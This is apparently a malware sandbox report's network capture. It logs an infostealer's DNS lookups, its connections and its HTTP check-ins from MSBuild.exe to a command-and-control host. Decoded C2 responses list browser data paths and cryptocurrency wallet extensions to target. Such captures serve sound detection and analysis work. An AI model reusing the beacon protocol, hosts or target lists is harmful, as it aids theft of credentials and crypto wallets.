Oct 8, 2024 02:46:36.032561064 CEST	51544	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.032567024 CEST	443	51544	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.032649994 CEST	51546	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.032659054 CEST	443	51546	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.033797026 CEST	443	51545	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.034090996 CEST	51545	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.034101963 CEST	443	51545	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.034471035 CEST	51545	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.034477949 CEST	443	51545	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.130631924 CEST	443	51546	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.130671978 CEST	443	51546	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.130816936 CEST	51546	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.130850077 CEST	443	51546	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.130959988 CEST	51546	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.130986929 CEST	443	51546	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.130997896 CEST	51546	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.131222963 CEST	443	51546	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.131284952 CEST	443	51546	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.131324053 CEST	51546	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.133193016 CEST	51549	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.133233070 CEST	443	51549	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.133300066 CEST	51549	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.133424044 CEST	51549	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.133434057 CEST	443	51549	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.135281086 CEST	443	51545	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.135334015 CEST	443	51545	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.135411024 CEST	51545	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.135421038 CEST	443	51545	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.135508060 CEST	51545	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.135508060 CEST	51545	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.135509014 CEST	443	51545	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.135555029 CEST	51545	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.135560036 CEST	443	51545	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.135579109 CEST	443	51545	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.137124062 CEST	443	51544	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.137156963 CEST	443	51544	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.137214899 CEST	51544	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.137274027 CEST	443	51544	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.137367010 CEST	51544	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.137367964 CEST	51544	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.137377024 CEST	51550	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.137387037 CEST	443	51550	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.137392044 CEST	443	51544	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.137414932 CEST	443	51544	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.137434959 CEST	51550	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.137576103 CEST	51550	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.137586117 CEST	443	51550	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.139166117 CEST	51551	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.139260054 CEST	443	51551	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.139343977 CEST	51551	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.139444113 CEST	51551	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.139472008 CEST	443	51551	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.670866013 CEST	443	51548	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.671885014 CEST	51548	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.671945095 CEST	443	51548	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.672192097 CEST	51548	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.672205925 CEST	443	51548	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.705681086 CEST	443	51547	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.706185102 CEST	51547	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.706231117 CEST	443	51547	13.107.246.45	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 8, 2024 02:45:17.185548067 CEST	192.168.2.4	1.1.1.1	0xb2c	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:45:18.090848923 CEST	192.168.2.4	1.1.1.1	0xb186	Standard query (0)	kasm.zubairgul.com	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:45:38.832957983 CEST	192.168.2.4	1.1.1.1	0x25da	Standard query (0)	nsdm.cumpar-auto-orice-tip.ro	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:45:49.545762062 CEST	192.168.2.4	1.1.1.1	0x73d2	Standard query (0)	exemplarou.sbs	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:45:49.558011055 CEST	192.168.2.4	1.1.1.1	0x9c4	Standard query (0)	frizzettei.sbs	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:45:49.568161964 CEST	192.168.2.4	1.1.1.1	0xdcbc	Standard query (0)	isoplethui.sbs	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:45:49.583247900 CEST	192.168.2.4	1.1.1.1	0x7ed7	Standard query (0)	bemuzzeki.sbs	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:45:49.592247009 CEST	192.168.2.4	1.1.1.1	0xc149	Standard query (0)	exilepolsiy.sbs	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:45:49.601449966 CEST	192.168.2.4	1.1.1.1	0x360e	Standard query (0)	laddyirekyi.sbs	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:45:49.615139961 CEST	192.168.2.4	1.1.1.1	0x5145	Standard query (0)	invinjurhey.sbs	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:45:49.632222891 CEST	192.168.2.4	1.1.1.1	0xf45a	Standard query (0)	wickedneatr.sbs	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:45:49.653467894 CEST	192.168.2.4	1.1.1.1	0xf579	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:45:51.104612112 CEST	192.168.2.4	1.1.1.1	0x38b1	Standard query (0)	cowod.hopto.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 8, 2024 02:44:57.775618076 CEST	1.1.1.1	192.168.2.4	0xfbd9	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:44:57.775618076 CEST	1.1.1.1	192.168.2.4	0xfbd9	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:44:59.166819096 CEST	1.1.1.1	192.168.2.4	0xb46d	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 02:44:59.166819096 CEST	1.1.1.1	192.168.2.4	0xb46d	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:45:17.192344904 CEST	1.1.1.1	192.168.2.4	0xb2c	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:45:18.103167057 CEST	1.1.1.1	192.168.2.4	0xb186	No error (0)	kasm.zubairgul.com		95.164.90.97	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:45:38.843883038 CEST	1.1.1.1	192.168.2.4	0x25da	No error (0)	nsdm.cumpar-auto-orice-tip.ro		147.45.44.104	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:45:49.555047035 CEST	1.1.1.1	192.168.2.4	0x73d2	Name error (3)	exemplarou.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:45:49.566982985 CEST	1.1.1.1	192.168.2.4	0x9c4	Name error (3)	frizzettei.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:45:49.577780962 CEST	1.1.1.1	192.168.2.4	0xdcbc	Name error (3)	isoplethui.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:45:49.591300964 CEST	1.1.1.1	192.168.2.4	0x7ed7	Name error (3)	bemuzzeki.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:45:49.600483894 CEST	1.1.1.1	192.168.2.4	0xc149	Name error (3)	exilepolsiy.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:45:49.610378981 CEST	1.1.1.1	192.168.2.4	0x360e	Name error (3)	laddyirekyi.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:45:49.623589039 CEST	1.1.1.1	192.168.2.4	0x5145	Name error (3)	invinjurhey.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:45:49.640933037 CEST	1.1.1.1	192.168.2.4	0xf45a	Name error (3)	wickedneatr.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:45:49.660720110 CEST	1.1.1.1	192.168.2.4	0xf579	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:45:51.112942934 CEST	1.1.1.1	192.168.2.4	0x38b1	No error (0)	cowod.hopto.org		45.132.206.251	A (IP address)	IN (0x0001)	false
Oct 8, 2024 02:45:53.881263018 CEST	1.1.1.1	192.168.2.4	0xfdfe	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 02:45:53.881263018 CEST	1.1.1.1	192.168.2.4	0xfdfe	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	51293	95.164.90.97	80	7300	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 02:45:18.108869076 CEST	93	OUT	GET / HTTP/1.1 Host: kasm.zubairgul.com Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 02:45:19.153146029 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:45:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 8, 2024 02:45:19.156689882 CEST	440	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGIDHJKKJDGCBGCGIJK Host: kasm.zubairgul.com Content-Length: 255 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 46 30 30 46 35 44 36 35 43 45 31 36 35 30 34 34 35 35 32 39 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 61 35 62 63 38 62 37 33 65 31 32 34 32 35 61 64 63 33 63 33 39 39 64 61 38 31 33 36 38 39 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------KEGIDHJKKJDGCBGCGIJKContent-Disposition: form-data; name="hwid"1F00F5D65CE1650445529-a33c7340-61ca------KEGIDHJKKJDGCBGCGIJKContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------KEGIDHJKKJDGCBGCGIJK--
Oct 8, 2024 02:45:19.783032894 CEST	232	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:45:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 38 35 66 65 32 32 63 30 65 66 62 34 65 32 31 39 63 66 62 39 65 38 36 31 31 66 34 66 66 61 61 61 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|85fe22c0efb4e219cfb9e8611f4ffaaa\|1\|1\|1\|0\|0\|50000\|10
Oct 8, 2024 02:45:19.785484076 CEST	516	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJ Host: kasm.zubairgul.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 66 65 32 32 63 30 65 66 62 34 65 32 31 39 63 66 62 39 65 38 36 31 31 66 34 66 66 61 61 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 61 35 62 63 38 62 37 33 65 31 32 34 32 35 61 64 63 33 63 33 39 39 64 61 38 31 33 36 38 39 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="token"85fe22c0efb4e219cfb9e8611f4ffaaa------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="mode"1------EHJDHJKFIECAAKFIJJKJ--
Oct 8, 2024 02:45:20.419315100 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:45:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 5a 70 64 6d 46 73 5a 47 6c 38 58 46 5a 70 64 6d 46 73 5a 47 6c 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 44 62 32 31 76 5a 47 38 67 52 48 4a 68 5a 32 39 75 66 46 78 44 62 [TRUNCATED] Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfFZpdmFsZGl8XFZpdmFsZGlcVXNlciBEYXRhfGNocm9tZXxDb21vZG8gRHJhZ29ufFxDb21vZG9cRHJhZ29uXFVzZXIgRGF0YXxjaHJvbWV8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxCcmF2ZXxcQnJhdmVTb2Z0d2FyZVxCcmF2ZS1Ccm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZXxcTWljcm9zb2Z0XEVkZ2VcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBDYW5hcnl8XE1pY3Jvc29mdFxFZGdlIFN4U1xVc2VyIERhdGF8Y2hyb21lfE1pY3Jvc29mdCBFZGdlIEJldGF8XE1pY3Jvc29mdFxFZGdlIEJldGFcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBEZXZ8XE1pY3Jvc29mdFxFZGdlIERldlxVc2V [TRUNCATED]
Oct 8, 2024 02:45:20.421144962 CEST	491	IN	Data Raw: 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 52 55 55 4a 79 62 33 64 7a 5a 58 4a 38 58 46 52 6c 62 6d 4e 6c 62 6e 52 63 55 56 46 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 Data Ascii: VXNlciBEYXRhfGNocm9tZXxRUUJyb3dzZXJ8XFRlbmNlbnRcUVFCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q3J5cHRvVGFiIEJyb3dzZXJ8XENyeXB0b1RhYiBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8T3BlcmF8XE9wZXJhIFNvZnR3YXJlfG9wZXJhfE9wZXJhIEdYfFxPcGVyYSBTb2Z0d2FyZXxvcGVyYXxPcGVyYSB
Oct 8, 2024 02:45:20.422099113 CEST	516	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKKJEBFIDAEBFHIDAEB Host: kasm.zubairgul.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 66 65 32 32 63 30 65 66 62 34 65 32 31 39 63 66 62 39 65 38 36 31 31 66 34 66 66 61 61 61 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 61 35 62 63 38 62 37 33 65 31 32 34 32 35 61 64 63 33 63 33 39 39 64 61 38 31 33 36 38 39 31 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 2d 2d 0d 0a Data Ascii: ------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="token"85fe22c0efb4e219cfb9e8611f4ffaaa------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="mode"2------FBKKJEBFIDAEBFHIDAEB--
Oct 8, 2024 02:45:21.106465101 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:45:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 32 6c 6f 62 32 5a 6c 59 33 77 78 66 44 42 38 4d 48 78 43 61 57 35 68 62 6d 4e 6c 51 32 68 68 61 57 35 58 59 57 78 73 5a 58 52 38 4d 58 78 6d 61 47 4a 76 61 47 6c 74 59 57 56 73 59 6d 39 6f 63 47 70 69 59 6d 78 6b 59 32 35 6e 59 32 35 68 63 47 35 6b [TRUNCATED] Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3wxfDB8MHxCaW5hbmNlQ2hhaW5XYWxsZXR8MXxmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHwxfDF8MHxZb3JvaXwxfGZmbmJlbGZkb2Vpb2hlbmtqaWJubWFkamllaGpoYWpifDF8MHwwfENvaW5iYXNlfDF8aG5mYW5rbm9jZmVvZmJkZGdjaWpubWhuZm5rZG5hYWR8MXwwfDF8R3VhcmRhfDF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDF8aVdhbGxldHwxfGtuY2NoZGlnb2JnaGVuYmJhZGRvampubmFvZ2ZwcGZqfDF8MHwwfFJvbmluV2FsbGV0fDF8Zm5qaG1raGhta2Jqa2thYm5kY25ub2dhZ29nYm5lZWN8MXwwfDB8TmVvTGluZXwxfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENsb3ZlcldhbGxldHwxfG5obmtia2dqaWtnY2lnYWRvbWtwaGFsYW5uZGNhcGprfDF8MHwwfExpcXVhbGl0eVdhbGxldHwxfGtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufDF8MHwwfFRlcnJhX1N0YXRpb258MXxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnwxfGRta2FtY2tub2drZ2NkZmhoYmRkY2doYW [TRUNCATED]
Oct 8, 2024 02:45:21.106764078 CEST	1236	IN	Data Raw: 6b 63 47 52 74 61 32 46 68 61 32 56 71 62 6d 68 68 5a 58 77 78 66 44 42 38 4d 48 78 51 62 32 78 35 62 57 56 7a 61 46 64 68 62 47 78 6c 64 48 77 78 66 47 70 76 61 6d 68 6d 5a 57 39 6c 5a 47 74 77 61 32 64 73 59 6d 5a 70 62 57 52 6d 59 57 4a 77 5a Data Ascii: kcGRta2Fha2VqbmhhZXwxfDB8MHxQb2x5bWVzaFdhbGxldHwxfGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHwxfGZscGljaWlsZW1naGJtZmFsaWNham9vbGhra2VuZmVsfDF8MHwwfENvaW45OHwxfGFlYWNoa25tZWZwaGVwY2Npb25ib29oY2tvbm9lZW1nfDF8MHwwfEVWRVIgV2FsbG
Oct 8, 2024 02:45:21.106774092 CEST	1236	IN	Data Raw: 76 59 57 52 6b 61 57 35 77 61 32 4a 68 61 58 77 78 66 44 46 38 4d 48 78 48 51 58 56 30 61 43 42 42 64 58 52 6f 5a 57 35 30 61 57 4e 68 64 47 39 79 66 44 42 38 61 57 78 6e 59 32 35 6f 5a 57 78 77 59 32 68 75 59 32 56 6c 61 58 42 70 63 47 6c 71 59 Data Ascii: vYWRkaW5wa2JhaXwxfDF8MHxHQXV0aCBBdXRoZW50aWNhdG9yfDB8aWxnY25oZWxwY2huY2VlaXBpcGlqYWxqa2JsYmNvYmx8MXwxfDF8VHJvbml1bXwxfHBubmRwbGNia2FrY3Bsa2pub2xnYmtkZ2ppa2plZG5tfDF8MHwwfFRydXN0IFdhbGxldHwxfGVnamlkamJwZ2xpY2hkY29uZGJjYmRuYmVlcHBnZHBofDF8MHwwfE
